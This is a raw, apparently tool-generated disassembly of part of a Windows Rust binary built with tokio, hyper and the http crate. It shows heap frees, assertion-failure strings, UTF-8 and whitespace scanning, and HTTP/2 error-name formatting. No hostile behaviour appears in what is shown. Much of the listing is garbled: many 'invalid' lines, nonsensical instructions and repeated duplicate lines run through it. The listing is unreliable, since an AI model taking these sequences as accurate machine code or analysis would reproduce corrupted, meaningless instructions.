mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
shr rax, 6
cmp rax, qword [rsp + 0x20]
and byte [rdi], cl
invalid
mov cl, 0
add byte [rax], al
and byte [rdi], cl
invalid
jne 0x140031d1a
mov rcx, qword [rsi + 0x28]
add rcx, 0xfffffffffffffffe
cmp rcx, 3
mov eax, 1
cmovb rax, rcx
cmp rax, 1
je 0x140031d23
test rax, rax
jne 0x140031d2c
mov r8, qword [rsi + 0x30]
test r8, r8
je 0x140031d2c
cmp qword [rsi + 0x38], 0
je 0x140031d2c
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140031d2c
add rsp, 0x80
add esp, 0x80
pop rsi
ret
lea rcx, [rsi + 0x28]
call fcn.140031b80
mov rax, qword [rsi + 0x60]
test rax, rax
je 0x140031d3c
mov rcx, qword [rsi + 0x68]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
add rsp, 0x80
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x140167ed0]
invalid
adc eax, dword [rax]
mov edx, 0x23
call fcn.140122660
invalid
lea rcx, str.assertion_failed:__prev.is_complete__
lea r8, [0x140167f10]
mov edx, 0x25
call fcn.140122660
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x60], rax
lea rax, [fcn.140008ab0]
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rax
lea rax, str.current:___sub:__
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 2
mov qword [rsp + 0x48], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 2
lea rdx, [0x140167f58]
lea rcx, [rsp + 0x28]
call fcn.1401224d0
lea rax, str.waker_missing
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x38], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
adc eax, dword [rax]
adc eax, dword [rax]
lea rcx, [rsp + 0x28]
call fcn.1401224d0
int3
adc dword [rax], eax
mov qword [rsp + 0x20], rax
lea rcx, str.mut__u8_.write___cannot_error
lea r9, [0x1401471d8]
lea r8, [rsp + 0x38]
mov edx, 0x1e
call fcn.140122900
int3
clc
add dword [rbp + 0x56], esi
mov rdi, qword [rsi - 1]
mov rbx, qword [rsi + 7]
mov rax, qword [rbx]
test rax, rax
je 0x140032079
mov rcx, rdi
call rax
dec rsi
cmp qword [rbx + 8], 0
je 0x1400320a0
cmp qword [rbx + 0x10], 0x11
jb 0x14003208e
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rsi
invalid
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
invalid
and al, 0x40
add al, byte [rax]
add byte [rax], al
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x28]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
lea r8, [rsp + 0x38]
call fcn.140009870
nop
add rsp, 0x68
ret
adc al, 0x3d
invalid
add byte [rax], al
add al, ch
invalid
add eax, 0x16cd18
shl rax, 1
test rax, rax
jne 0x14003260b
xor eax, eax
xchg byte [rcx], al
cmp al, 2
jne case.0x1400dd9c6.1629
add rsp, 0x20
pop rsi
jmp qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
nop
add rsp, 0x20
pop rsi
ret
mov rsi, rcx
call fcn.14012bf20
mov rcx, rsi
test al, al
jne 0x1400325f0
mov byte [rcx + 1], 1
add dword [rcx], eax
jmp 0x1400325f0
jne 0x140032704
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x140032725
iretd
add byte [rax], al
invalid
iretd
xor edi, edi
movzx eax, byte [rcx + 0x11]
test al, al
jne 0x140032742
cmp byte [rcx + 0x60], 0
je 0x1400326ca
mov rbx, rcx
movzx eax, byte [0x14019f308]
add byte [rdx + 0x38], bh
add byte [rdx + 0x38], bh
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x1400327ac
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 0xb
mov qword [rax], 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
lea rcx, [0x140147e48]
mov qword [rax + 8], rcx
test dil, dil
jne 0x1400326bb
mov rcx, qword [0x14019f300]
shl rcx, 1
test rcx, rcx
jne 0x14003278e
xor ecx, ecx
xchg byte [rsi], cl
cmp cl, 2
je 0x1400326ed
jmp 0x1400326fc
test dil, dil
jne 0x1400326e2
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x140032775
xor eax, eax
xor ecx, ecx
xchg byte [rsi], cl
cmp cl, 2
jne 0x1400326fc
mov rcx, rsi
mov rsi, rax
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov rax, rsi
add rsp, 0x40
pop rbx
pop rdi
pop rsi
ret
mov rdi, rcx
mov rcx, rsi
call fcn.14012be60
mov rcx, rdi
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
je 0x140032656
mov rdi, rcx
call fcn.14012bf20
mov rcx, rdi
mov edi, eax
xor dil, 1
movzx eax, byte [rcx + 0x11]
test al, al
je 0x140032664
mov qword [rsp + 0x30], rsi
mov byte [rsp + 0x38], dil
lea rax, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh2ping.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140147370]
lea r8, [rsp + 0x30]
mov edx, 0x2b
call fcn.140122900
invalid
add byte [rax - 0x77], cl
iretd
mov rdi, rcx
call fcn.14012bf20
test al, al
jne 0x1400326e2
mov byte [rdi + 0x11], 1
jmp 0x1400326e2
mov rdi, rax
call fcn.14012bf20
add byte [rcx - 0x776b73f], cl
add byte [rcx - 0x776b73f], cl
test cl, cl
jne 0x1400326bb
mov byte [rbx + 0x11], 1
jmp 0x1400326bb
mov ecx, 8
mov edx, 0x38
call fcn.140122190
int3
cmp eax, 0x3b9aca00
jb 0x140032826
cmp rdx, 0xffffffffffffffff
je 0x140032833
add r8d, 0xc4653600
inc rdx
mov rcx, qword [rcx + 0x20]
add rsp, 0x28
jmp fcn.140100410
lea rcx, str.overflow_when_adding_duration_to_instantstd_src_time.rs
lea r8, [0x140165ac8]
mov edx, 0x28
add byte [rax], al
add byte [rax], al
call fcn.140122a20
lea rcx, str.keep_alive_expects_last_read_at
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh2ping.rs
mov edx, 0x1f
call fcn.140122a20
int3
int3
add byte [rax], al
add byte [rax - 1], cl
loopne 0x140032859
int3
movups xmmword [rsp + 0x28], xmm0
mov r8, qword [rcx + 0x10]
mov byte [rsp + 0x20], 0
add byte [rax - 0x73], cl
adc eax, 0x114cd4
add byte [rax - 0x73], cl
adc eax, 0x114cd4
lea rcx, [rsp + 0x28]
mov r9b, 1
call fcn.1400fb6e0
add ah, cl
add ah, cl
int3
movzx esi, sil
movzx ebx, byte [rsi + r11]
shr bl, 1
test bl, 1
je 0x140032a19
nop dword [rax + rax]
cmp r10, r9
je 0x140032b2e
mov rdi, r10
mov r8, rcx
movzx r10d, byte [r10]
movzx esi, r10b
test sil, sil
js 0x140032940
lea r10, [rdi + 1]
jmp 0x1400329a0
mov ecx, esi
and ecx, 0x1f
movzx ebx, byte [rdi + 1]
and ebx, 0x3f
cmp sil, 0xdf
jbe 0x140032980
movzx esi, byte [rdi + 2]
shl ebx, 6
and esi, 0x3f
or esi, ebx
cmp r10b, 0xf0
jb 0x14003298d
lea r10, [rdi + 4]
movzx ebx, byte [rdi + 3]
and ecx, 7
loope 0x140032976
loope 0x140032976
shl ecx, 0x12
shl esi, 6
out 6, al
out 6, al
and ebx, 0x3f
jrcxz 0x1400329b7
or ebx, esi
or ebx, ecx
mov esi, ebx
jmp 0x1400329a0
lea r10, [rdi + 2]
shl ecx, 6
push rdi
add al, cl
loope 0x14003298d
or ecx, ebx
mov esi, ecx
jmp 0x1400329a0
lea r10, [rdi + 3]
shl ecx, 0xc
or esi, ecx
nop word cs:[rax + rax]
mov rcx, r10
sub rcx, rdi
add rcx, r8
lea edi, [rsi - 9]
cmp edi, 5
jb 0x140032910
cmp esi, 0x20
je 0x140032910
and byte [rdi], cl
test byte [rdx - 1], dl
invalid
cmp esi, 0x80
jb 0x140032a19
mov edi, esi
shr edi, 8
cmp edi, 0x1f
invalid
jg 0x1400329e7
invalid
test edi, edi
je case.0x140016398.1404
cmp edi, 0x16
jne 0x140032a19
cmp esi, 0x1680
sete bl
jmp 0x1400328ff
cmp edi, 0x20
je 0x1400328f4
cmp edi, 0x30
jne 0x140032a19
cmp esi, 0x3000
sete bl
jmp 0x1400328ff
movzx esi, sil
movzx ebx, byte [rsi + r11]
movzx ebx, byte [rsi + rbx]
movzx ebx, byte [rsi + rbx]
jmp 0x1400328ff
out dx, al
invalid
xor r8d, r8d
xor ecx, ecx
mov r10, rax
cmp r10, r9
je 0x140032b29
lea r11, [0x140164ba0]
sbb eax, 0x132177
jmp 0x140032a49
movzx edi, dil
movzx ebx, byte [rdi + r11]
shr bl, 1
test bl, 1
je 0x140032b43
nop
cmp r10, r9
je 0x140032b29
mov rsi, r9
movsx edi, byte [r9 - 1]
test edi, edi
js 0x140032a70
lea r9, [rsi - 1]
lea ebx, [rdi - 9]
cmp ebx, 5
jb 0x140032a40
jmp 0x140032acd
movzx ebx, byte [rsi - 2]
cmp bl, 0xc0
jge 0x140032a9c
movzx ebp, byte [rsi - 3]
cmp bpl, 0xc0
jge 0x140032aa5
lea r9, [rsi - 4]
movzx r14d, byte [rsi - 4]
and r14d, 7
shl r14d, 6
and ebp, 0x3f
or ebp, r14d
jmp 0x140032aac
lea r9, [rsi - 2]
and ebx, 0x1f
jmp 0x140032ab4
inc byte [rbx + 0xfeb1fe3]
lea r9, [rsi - 3]
and ebp, 0xf
shl ebp, 6
and ebx, 0x3f
or ebx, ebp
shl ebx, 6
and dil, 0x3f
movzx edi, dil
or edi, ebx
fisttp word [rbp - 0x47c08a1]
add eax, 0xff73820f
invalid
invalid
fisttp word [rbp - 0x47c08a1]
add eax, 0xff73820f
invalid
pop rdi
test dword [rbx - 0x7df0fa05], 0xffffff73
cmp edi, 0x20
je 0x140032a40
jmp qword [rax]
cmp edi, 0x80
jb 0x140032b43
mov ebx, edi
shr ebx, 8
cmp ebx, 0x1f
jg 0x140032aff
test ebx, ebx
je 0x140032b1b
cmp ebx, 0x16
jne 0x140032b43
cmp edi, 0x1680
sete bl
xchg esp, eax
ret
jmp 0x140032a36
xchg esp, eax
ret
cmp ebx, 0x20
je 0x140032a2b
and edi, edi
invalid
invalid
and edi, edi
invalid
cmp ebx, 0x30
jne 0x140032b43
cmp edi, 0x3000
sete bl
jmp 0x140032a36
sbb edi, edi
invalid
invalid
sbb edi, edi
invalid
movzx edi, dil
movzx ebx, byte [rdi + r11]
jmp 0x140032a36
invalid
invalid
invalid
invalid
or eax, 0x48ffffff
test edx, edx
test rdx, rdx
jne case.0x1400dd9c6.1656
xor r8d, r8d
xor ecx, ecx
sub rcx, r8
add rax, r8
mov rdx, rcx
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop rsi
pop rsi
ret
sub rcx, r10
add rcx, rsi
jmp case.0x1400dd9c6.1656
cmp rdx, rax
je 0x140032ba0
movzx r8d, byte [rcx + rax]
lea r9d, [r8 - 0x20]
lea ecx, [rax - 0x20]
lea ecx, [rax - 0x20]
cmp r9b, 0x5f
setb r9b
cmp r8b, 9
sete r8b
rol byte [rbp + 8], 0xc8
rol byte [rbp + 8], 0xc8
inc rax
test r8b, r8b
jne 0x140032b70
xor eax, eax
jmp 0x140032c99
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x20
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x30], rcx
and al, 0x30
and al, 0x30
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x40], 0
add byte [rax - 0x77], cl
push rsp
and al, 0x48
add byte [rax - 0x77], cl
push rsp
and al, 0x48
movabs rax, 0x2c0000002c
mov qword [rsp + 0x50], rax
push rax
add byte [rax - 0x77], cl
and al, 0x50
push rax
push rax
mov byte [rsp + 0x58], 1
mov word [rsp + 0x60], 1
invalid
add dword [rax], eax
lea r14, [rsi - 1]
lea rbx, [rsp + 0x20]
nop word [rax + rax]
invalid
mov rcx, rbx
call fcn.14003a2d0
jbe 0x140032bf7
add byte [rax - 0x7b], cl
invalid
je 0x140032b99
jbe 0x140032bf7
add byte [rax - 0x7b], cl
sal byte [rsp + rbx*4 + 0x48], 0x89
mov rcx, rax
invalid
retf
cld
invalid
mov rcx, rax
call fcn.1400328d0
cmp rdx, rsi
jne 0x140032bf0
test rsi, rsi
je 0x140032c97
test byte [rdi], 0x84
test byte [rax], al
add byte [rax], al
movzx ecx, byte [rax]
movzx edx, byte [rdi]
lea r8d, [rcx - 0x41]
mov r15d, 0x1af88041
mov r15d, 0x1af88041
setb r8b
shl r8b, 5
lea r9d, [rdx - 0x41]
lea ecx, [rdx - 0x41]
lea ecx, [rdx - 0x41]
cmp r9b, 0x1a
setb r9b
shl r9b, 5
loope 0x140032c3e
loope 0x140032c3e
or r8b, cl
or r9b, dl
cmp r8b, r9b
jne 0x140032bf0
rol dword [rbp + 0x38], 1
enter 0xffffffffffffac75, 0x31
leave
xor ecx, ecx
nop word cs:[rax + rax]
cmp r14, rcx
je 0x140032c97
movzx edx, byte [rax + rcx + 1]
or byte [rcx], al
movzx r8d, byte [rdi + rcx + 1]
lea r9d, [rdx - 0x41]
cmp r9b, 0x1a
setb r9b
shl r9b, 5
lea r10d, [r8 - 0x41]
cmp r10b, 0x1a
setb r10b
shl r10b, 5
or r9b, dl
or r10b, r8b
ret 0xff48
rol dword [rbp + 0x38], 0xd1
je 0x140032c50
ret 0xff48
cmp rcx, rsi
jb 0x140032bf0
invalid
push qword [rax - 0x3b7cb7ff]
push 0x415e5f5b
pop rsi
mov al, 1
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop r14
ret
int3
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xb8
mov rdx, rcx
movups xmm0, xmmword [0x14015a3e0]
adc esi, dword [rdi + 0x12]
add byte [rdi], cl
sub dword [rsp + 0x60], eax
adc esi, dword [rdi + 0x12]
add byte [rdi], cl
sub dword [rsp + 0x60], eax
movups xmm0, xmmword [0x14015a3d0]
movaps xmmword [rsp + 0x50], xmm0
div dword [rsi + 0x12]
add byte [rdi], cl
sub dword [rsp + 0x50], eax
lea rcx, [rsp + 0xa0]
lea r8, [rsp + 0x50]
lea eax, [rsp + 0x50]
add byte [rax], al
add byte [rbp + rcx*4 + 0x44], cl
lea eax, [rsp + 0x50]
lea eax, [rsp + 0x50]
call fcn.14002dbf0
mov r12, qword [rsp + 0xb0]
mov al, 0
add byte [rax], al
mov al, 0
add byte [rax], al
cmp qword [rsp + 0xa0], 0
cmp dword [rsp + 0xa0], 0
add byte [rax], al
add byte [rax], al
je 0x140032d39
mov rsi, qword [rsp + 0xa8]
mov rdx, qword [r12 + 0x28]
cmp rdx, rsi
bnd jbe case.0x140016398.1444
bnd jbe case.0x140016398.1444
mov rax, qword [r12 + 0x20]
imul rcx, rsi, 0x68
mov rdx, qword [rax + rcx]
or byte [rax - 0x75], cl
or byte [rax], r10b
or byte [rax - 0x75], cl
or byte [rax], r10b
mov qword [rsp + 0x28], rdx
lea rax, [rsp + 0x48]
xor ebx, ebx
jmp 0x140032d4f
lea rax, [rsp + 0x28]
mov ebx, 2
mov rsi, 0xffffffffffffffff
mov ecx, 2
mov qword [rax], rcx
mov r10, qword [rsp + 0x48]
xor edi, edi
mov rbp, qword [rsp + 0x28]
imul r11, rsi, 0x68
movabs r15, 0x2c0000002c
mov r14d, 0xa
test rbx, rbx
je 0x140032dc0
cmp rbx, 1
jne 0x140032f73
mov rdx, qword [r12 + 0x40]
cmp rcx, rdx
jae case.0x140016398.1445
lea rax, [rcx + rcx*8]
shl rax, 3
add rax, qword [r12 + 0x38]
add eax, dword [rsp + 0x38]
add eax, dword [rsp + 0x38]
cmp rbp, 1
cmp ebp, 1
jne 0x140032e00
pop rsi
cmp rcx, r10
jne 0x140032e00
mov qword [rsp + 0x28], 2
mov ebp, 2
mov rcx, r10
mov ebx, 2
jmp 0x140032e14
mov rdx, qword [r12 + 0x28]
cmp rsi, rdx
jae 0x140032fa8
mov rax, qword [r12 + 0x20]
add rax, r11
test rbp, rbp
je 0x140032e1f
test byte [rax], 1
je 0x140032fb7
mov rcx, qword [rax + 8]
mov qword [rsp + 0x30], rcx
mov ebx, 1
add rax, 0x18
jmp 0x140032e40
mov ebx, 2
cmp dword [rax + 0x10], 1
jne 0x140032e14
mov rcx, qword [rax + 0x18]
mov ebx, 1
mov qword [rsp + 0x30], rcx
add rax, 0x20
jmp 0x140032e40
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], 2
mov ebp, 2
add al, byte [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
add rax, 0x18
mov ebx, 2
nop dword [rax + rax]
invalid
add byte [rax - 0x75], cl
or byte [rax - 0x75], cl
adc byte [rcx], sil
shl byte [rsi + 0xf], cl
invalid
mov rcx, qword [rax + 8]
mov rax, qword [rax + 0x10]
xor edx, edx
nop word [rax + rax]
cmp rax, rdx
je 0x140032e80
movzx r8d, byte [rcx + rdx]
lea r9d, [r8 - 0x20]
cmp r9b, 0x5f
setb r9b
cmp r8b, 9
sete r8b
xchg esp, eax
rol byte [rbp + 8], 0xc8
xchg esp, eax
rol byte [rbp + 8], 0xc8
inc rdx
test r8b, r8b
jne case.0x140016398.1427
jmp 0x140032f71
add byte [rax], al
add byte [rsi - 0x70], ah
mov qword [rsp + 0x38], r11
mov qword [rsp + 0x40], r10
and al, 0x40
and al, 0x40
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], r15
add byte [rax], al
add dh, al
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add dh, al
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rcx], al
mov word [rsp + 0x90], 1
mov r15, r13
and al, 0x90
add byte [rax], al
add byte [rcx], al
add byte [rbp - 0x77], cl
out dx, eax
lea rcx, [rsp + 0x50]
push rax
call fcn.14003a2d0
test rax, rax
je 0x140032f47
mov rcx, rax
call fcn.1400328d0
test rdx, rdx
je case.0x140016398.1440
mov rcx, rax
mov r8, rdx
xor r9d, r9d
xor eax, eax
nop dword [rax + rax]
movzx r10d, byte [rcx + r9]
add r10b, 0xd0
cmp r10b, 9
cli
or dword [rdi + 0x5f], esi
cli
or dword [rdi + 0x5f], esi
mul r14
jo case.0x140016398.1440
movzx edx, r10b
mov r10, rax
add r10, rdx
sal byte [rdx + 0x4e], cl
sal byte [rdx + 0x4e], cl
add rax, rdx
inc r9
cmp r8, r9
jne 0x140032f00
cmp rdi, 1
jne 0x140032f3d
mov edi, 1
cmp r13, rax
je 0x140032ecd
jmp case.0x140016398.1440
mov edi, 1
mov r13, rax
jmp 0x140032ecd
add byte [rcx - 0x77], cl
invalid
mov r10, qword [rsp + 0x40]
mov r11, qword [rsp + 0x38]
cmp byte [rcx - 0x41], cl
sub al, 0
add byte [rax], al
sub al, 0
add byte [rax], al
cmp byte [rcx - 0x41], cl
sub al, 0
add byte [rax], al
sub al, 0
add byte [rax], al
mov rcx, qword [rsp + 0x30]
test rbx, rbx
jne 0x140032d77
xor byte [rax - 0x7b], cl
fisttp dword [rdi]
test dword [rsi], ecx
invalid
jmp 0x140032dc0
mov r13, r15
xor edi, edi
mov rax, rdi
mov rdx, r13
add rsp, 0xb8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, rsi
call fcn.140122580
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
call fcn.140122580
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
push rcx
adc dword ds:[rax], eax
mov rcx, rsi
call fcn.140122580
lea rcx, str.internal_error:_entered_unreachable_code_rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrary_alloc_srccollections_vec_dequemod.rsmark_pending_called_when_the_timer_entry_is_in_an_invalid_state
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
and ch, byte [rcx + 0x13]
add byte [rbp + rcx*4 + 5], cl
push rbx
adc dword ds:[rax], eax
mov edx, 0x28
call fcn.140122660
int3
sub dword [rsp + 0x40], eax
movups xmm0, xmmword [0x14015a3d0]
movaps xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x70]
lea r8, [rsp + 0x30]
call fcn.14002c3e0
invalid
inc dword [rax + 0xa224bc]
add byte [rax], al
add ecx, dword [rdi]
invalid
add dword [rax], 0
invalid
invalid
mov rax, qword [rsp + 0xa0]
mov eax, dword [rsp + 0xa0]
mov qword [rsp + 0x60], rax
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rsp + 0x80]
movups xmm2, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0x50], xmm2
sub dword [rsp + 0x50], edx
sub dword [rsp + 0x50], edx
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
sub dword [rsp + 0x30], eax
sub dword [rsp + 0x30], eax
cmp byte [rsp + 0x62], 2
jne 0x14003306b
invalid
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x40]
and al, 0x40
and al, 0x40
mov rdx, qword [rax + 0x28]
cmp rcx, rdx
jb 0x14003308d
sub byte [rax + 0x39], cl
sal dword [rdx + 0x2e], 1
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
call fcn.140122580
add al, ch
adc eax, 0x48000ef5
lea edi, [rsp + 0x70]
lea rdi, [rsp + 0x70]
mov rcx, rdi
mov rdx, rsi
call fcn.140025d20
movsd dword [rdi], dword [rsi]
sub al, 0xff
invalid
movsd dword [rdi], dword [rsi]
sub al, 0xff
dec dword [rax - 0x73]
lea rcx, [rsp + 0x30]
lea rcx, [rsp + 0x30]
mov rdx, rdi
call fcn.14002c240
mov eax, 0x48ffff91
test eax, eax
mov eax, 0x48ffff91
test eax, eax
je 0x1400330a0
add rsp, 0xa8
pop rdi
pop rsi
ret
lea rax, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
cmpsd dword [rsi], dword [rdi]
adc al, byte [rax]
jmp 0x1400330a7
lea rax, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov qword [rsp + 0x20], rax
lea rcx, str.size_overflows_MAX_SIZE_
lea r9, [0x14015d270]
or eax, 0x12a1b6
or eax, 0x12a1b6
lea r8, [rsp + 0x2f]
mov edx, 0x17
call fcn.140122900
invalid
add ah, cl
invalid
mov edi, 0xf1af980
xchg edx, eax
rol eax, 0xe1
add eax, 0xf980c108
sete al
add rsp, 0x68
ret
xor byte [rax - 0x39], cl
clc
invalid
leave
call fcn.1400f8ae0
test rax, rax
je 0x140033475
mov rdi, rax
mov rax, qword [rsi + 0x10]
mov qword [rdi + 0x10], rax
movups xmm0, xmmword [rsi]
movups xmmword [rdi], xmm0
movzx eax, byte [0x14019f308]
mov edx, 0x18
xor ecx, ecx
call fcn.1400f8ae0
lea edx, [rsi + 0xc]
add byte [rax - 0x7b], cl
invalid
je 0x140033484
lea edx, [rsi + 0xc]
add byte [rax - 0x7b], cl
sal byte [rsp + rbp + 0x48], 0x89
cmp byte [rax - 0x73], cl
or eax, 0x11487e
mov qword [rax], rdi
lea rcx, [0x140147ce0]
mov qword [rax + 8], rcx
mov byte [rax + 0x10], 0x23
inc rax
add rsp, 0x30
pop rdi
pop rsi
pop rbp
ret
mov ecx, 8
mov edx, 0x18
call fcn.140122190
mov qword [rbp - 0x10], rdi
mov ecx, 8
mov edx, 0x18
call fcn.140122190
ud2
in al, dx
jo 0x1400335fe
mov eax, dword [rcx]
movzx ecx, byte [rax]
lea r8, [0x140193128]
movsxd rcx, dword [r8 + rcx*4]
add rcx, r8
jmp rcx
lea r9, [rax + 4]
lea rcx, [rax + 8]
inc rax
mov qword [rsp + 0x50], rax
lea rax, [0x140031b00]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea rax, [0x1400219b0]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x28], ecx
lea rax, [0x140033810]
mov qword [rsp + 0x20], rax
lea rax, str.ResetGoAwayReasonUserIo
mov r8d, 5
jmp 0x1400337bf
add rax, 8
mov qword [rsp + 0x68], rax
mov rcx, qword [rdx + 0x20]
mov r9, qword [rdx + 0x28]
lea rax, [0x14015f34d]
mov r8d, 2
mov rsi, rdx
mov rdx, rax
call qword [r9 + 0x18]
mov qword [rsp + 0x58], rsi
mov byte [rsp + 0x60], al
mov qword [rsp + 0x50], 0
mov byte [rsp + 0x61], 0
lea r8, [0x140033800]
jmp 0x1400336f8
add rax, 4
mov qword [rsp + 0x68], rax
mov rcx, qword [rdx + 0x20]
mov r9, qword [rdx + 0x28]
lea rax, [0x14015f343]
mov r8d, 6
mov rsi, rdx
mov rdx, rax
call qword [r9 + 0x18]
mov qword [rsp + 0x58], rsi
mov byte [rsp + 0x60], al
mov qword [rsp + 0x50], 0
mov byte [rsp + 0x61], 0
lea r8, [0x1400a7d30]
jmp 0x1400336f8
inc rax
mov qword [rsp + 0x68], rax
mov rcx, qword [rdx + 0x20]
mov r9, qword [rdx + 0x28]
lea rax, [0x14015f349]
mov r8d, 4
mov rsi, rdx
mov rdx, rax
call qword [r9 + 0x18]
mov qword [rsp + 0x58], rsi
mov byte [rsp + 0x60], al
mov qword [rsp + 0x50], 0
mov byte [rsp + 0x61], 0
lea r8, [0x140032130]
lea rcx, [rsp + 0x50]
lea rdx, [rsp + 0x68]
call fcn.14000c0c0
mov rcx, qword [rsp + 0x50]
movzx edx, byte [rsp + 0x60]
test rcx, rcx
je 0x14003376b
mov al, 1
test dl, 1
jne 0x1400337e9
cmp rcx, 1
jne 0x1400337cc
mov rsi, qword [rsp + 0x58]
cmp byte [rsp + 0x61], 0
je 0x1400337d1
test byte [rsi + 0x34], 4
jne 0x1400337d1
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str.____
mov r8d, 1
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
jne 0x1400337e9
jmp 0x1400337d1
mov eax, edx
jmp 0x1400337e9
lea r9, [rax + 8]
lea rcx, [rax + 4]
inc rax
mov qword [rsp + 0x50], rax
lea rax, [0x140031b00]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea rax, [0x1400219b0]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rcx
lea rax, [0x1400081d0]
mov qword [rsp + 0x20], rax
lea rax, [0x14015f33d]
mov r8d, 6
mov rcx, rdx
mov rdx, rax
call fcn.14000c870
jmp 0x1400337e9
mov rsi, qword [rsp + 0x58]
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14016a0bd]
mov r8d, 1
call qword [rax + 0x18]
and al, 1
add rsp, 0x70
pop rsi
ret
movzx eax, byte [rcx]
lea r8, [0x14019313c]
movsxd rax, dword [r8 + rax*4]
add rax, r8
jmp rax
inc rcx
mov qword [rsp + 0x38], rcx
mov rcx, qword [rdx + 0x20]
mov r9, qword [rdx + 0x28]
lea rax, [0x140147b88]
mov r8d, 5
mov rsi, rdx
mov rdx, rax
call qword [r9 + 0x18]
mov qword [rsp + 0x28], rsi
mov byte [rsp + 0x30], al
mov qword [rsp + 0x20], 0
mov byte [rsp + 0x31], 0
lea r8, [0x140034170]
lea rcx, [rsp + 0x20]
lea rdx, [rsp + 0x38]
call fcn.14000c0c0
mov rcx, qword [rsp + 0x20]
movzx edx, byte [rsp + 0x30]
test rcx, rcx
je 0x14003411a
mov al, 1
test dl, 1
jne 0x14003411c
cmp rcx, 1
jne 0x140034074
mov rsi, qword [rsp + 0x28]
cmp byte [rsp + 0x31], 0
je 0x140034079
test byte [rsi + 0x34], 4
jne 0x140034079
